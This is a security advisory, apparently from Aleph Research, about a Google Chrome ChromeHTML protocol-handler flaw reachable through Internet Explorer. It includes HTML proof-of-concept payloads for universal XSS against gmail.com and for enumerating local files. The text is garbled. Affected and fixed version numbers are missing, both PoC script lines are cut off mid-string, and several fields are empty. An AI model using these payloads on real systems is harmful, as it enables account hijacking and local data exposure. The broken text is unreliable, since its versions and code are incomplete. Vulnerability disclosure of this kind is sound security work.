Google Chrome ChromeHTML Protocol Handler Universal XSS

Aleph Research Advisory





Google Chrome

Vulnerable Version and earlier


Apply or later.

Technical Details

A vulnerability in the ChromeHTML URL handler, allows forcing Google Chrome load arbitrary URIs when it is launched through IE. Combined with other issues, this seemingly harmless vulnerability opens the door to two major attack vectors:

  • Bypass the Same Origin Policy restrictions for any site (this has the same impact as Universal XSS)
  • Enumerate victim’s local files and directories.

It is important to note that the way Internet Explorer processes URL protocol handlers is a known Achilles’ heel and has been widely used previously to attack other various applications.


Universal XSS:

<title>Google Chrome universal XSS POC</title>
<!--[if IE]>
<p>This PoC will launch Chrome, redirect it to http://www.gmail.com and execute arbitrary JavaScirpt on that domain.</p>
<p>Launching chrome...</p>
<script> document.location = 'chromehtml:"80%20javascript:document.write(unescape(\'%3C%73%63%72%69%70%74%25%32
<p>In order for the POC to work you need Internet Explorer 7 and Google Chrome version &lt;</p>

File Enumeration:

<title>Google Chrome local files and folders enumeration</title>
<!--[if IE]>
<p>This PoC will launch Chrome with four arbitrary directories and an attacker-controlled web page.<br> The web page is used to enumerate local files and folders using a known history hack</p>
    document.location = 'chromehtml:"80%20c:/exists%20c:/nonexisting%20
<p>In order for the POC to work you need Internet Explorer 7 and Google Chrome version &lt;</p>



  • Roi Saltzman

External References